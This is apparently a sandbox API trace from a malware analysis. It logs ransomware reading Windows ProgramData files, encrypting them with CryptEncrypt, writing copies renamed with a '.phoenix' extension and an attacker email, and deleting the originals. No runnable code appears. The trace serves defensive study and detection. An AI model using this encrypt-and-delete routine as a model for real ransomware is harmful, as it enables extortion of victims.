	[0259.925] WriteFile (in: hFile=0x258, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x122, lpOverlapped=0x0) returned 1
	[0259.925] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.925] CloseHandle (hObject=0x2e0) returned 1
	[0259.925] CloseHandle (hObject=0x258) returned 1
	[0259.925] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 1
	[0259.926] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.926] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.926] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1842) returned 1
	[0259.926] CloseHandle (hObject=0x258) returned 1
	[0259.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0259.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.927] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.927] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.927] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.927] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.019] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0260.019] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0260.019] ReadFile (in: hFile=0x258, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x732, lpOverlapped=0x0) returned 1
	[0260.054] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x740, dwBufLen=0x740 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x740) returned 1
	[0260.054] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x740, lpOverlapped=0x0) returned 1
	[0260.055] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151780) returned 1
	[0260.055] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0260.055] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0260.055] CryptDestroyKey (hKey=0x151780) returned 1
	[0260.055] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0260.055] CryptDestroyKey (hKey=0x151080) returned 1
	[0260.055] CloseHandle (hObject=0x258) returned 1
	[0260.055] CloseHandle (hObject=0x2e0) returned 1
	[0260.055] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml")) returned 1
	[0260.056] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0260.056] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.057] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=6457) returned 1
	[0260.057] CloseHandle (hObject=0x2e0) returned 1
	[0260.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml")) returned 0x20
	[0260.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.057] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.057] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0260.057] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0260.057] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0260.058] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0260.058] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0260.058] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1939, lpOverlapped=0x0) returned 1
	[0260.139] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1940, dwBufLen=0x1940 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1940) returned 1
	[0260.140] WriteFile (in: hFile=0x258, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1940, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1940, lpOverlapped=0x0) returned 1
	[0260.140] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0260.140] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0260.140] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0260.140] CryptDestroyKey (hKey=0x151340) returned 1
	[0260.141] WriteFile (in: hFile=0x258, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0260.141] CryptDestroyKey (hKey=0x151780) returned 1
	[0260.141] CloseHandle (hObject=0x2e0) returned 1
	[0260.141] CloseHandle (hObject=0x258) returned 1
	[0260.141] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml")) returned 1
	[0260.142] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0260.142] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0260.142] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2082) returned 1
	[0260.142] CloseHandle (hObject=0x258) returned 1
	[0260.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml")) returned 0x20
	[0260.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.143] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0260.143] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0260.143] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0260.143] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.143] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151540) returned 1
	[0260.143] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0260.143] ReadFile (in: hFile=0x258, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x822, lpOverlapped=0x0) returned 1
	[0260.151] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x830, dwBufLen=0x830 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x830) returned 1
	[0260.151] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x830, lpOverlapped=0x0) returned 1
	[0260.152] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1515c0) returned 1
	[0260.152] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0260.152] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0260.152] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0260.152] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0260.152] CryptDestroyKey (hKey=0x151540) returned 1
	[0260.152] CloseHandle (hObject=0x258) returned 1
	[0260.153] CloseHandle (hObject=0x2e0) returned 1
	[0260.153] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml")) returned 1
	[0260.153] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0260.154] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb.jcp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.154] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=8192) returned 1
	[0260.154] CloseHandle (hObject=0x2e0) returned 1
	[0260.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb.jcp")) returned 0x2020
	[0260.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb.jcp.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.154] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb.jcp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.154] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0260.154] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0260.155] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb.jcp.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0260.156] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1511c0) returned 1
	[0260.156] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0260.156] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2000, lpOverlapped=0x0) returned 1
	[0260.234] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2010, dwBufLen=0x2010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2010) returned 1
	[0260.234] WriteFile (in: hFile=0x258, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2010, lpOverlapped=0x0) returned 1
	[0260.235] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151740) returned 1
	[0260.235] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0260.235] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x30, dwBufLen=0x30 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x30) returned 1
	[0260.235] CryptDestroyKey (hKey=0x151740) returned 1
	[0260.235] WriteFile (in: hFile=0x258, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xe2, lpOverlapped=0x0) returned 1
	[0260.235] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0260.235] CloseHandle (hObject=0x2e0) returned 1
	[0260.235] CloseHandle (hObject=0x258) returned 1
	[0260.235] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb.jcp")) returned 1
	[0260.236] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0260.236] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb.jtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0260.243] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1048576) returned 1
	[0260.243] CloseHandle (hObject=0x2f4) returned 1
	[0260.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb.jtx")) returned 0x2020
	[0260.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb.jtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.246] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0260.246] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0260.246] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0260.246] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb.jtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0260.250] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0260.250] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0260.250] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x100000, lpOverlapped=0x0) returned 1
	[0260.276] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x100010, dwBufLen=0x100010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x100010) returned 1
	[0260.277] WriteFile (in: hFile=0x310, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x100010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x100010, lpOverlapped=0x0) returned 1
	[0260.299] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0260.300] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0260.300] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x30, dwBufLen=0x30 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x30) returned 1
	[0260.300] CryptDestroyKey (hKey=0x151480) returned 1
	[0260.300] WriteFile (in: hFile=0x310, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xe2, lpOverlapped=0x0) returned 1
	[0260.300] CryptDestroyKey (hKey=0x151080) returned 1
	[0260.300] CloseHandle (hObject=0x2d0) returned 1
	[0260.300] CloseHandle (hObject=0x310) returned 1
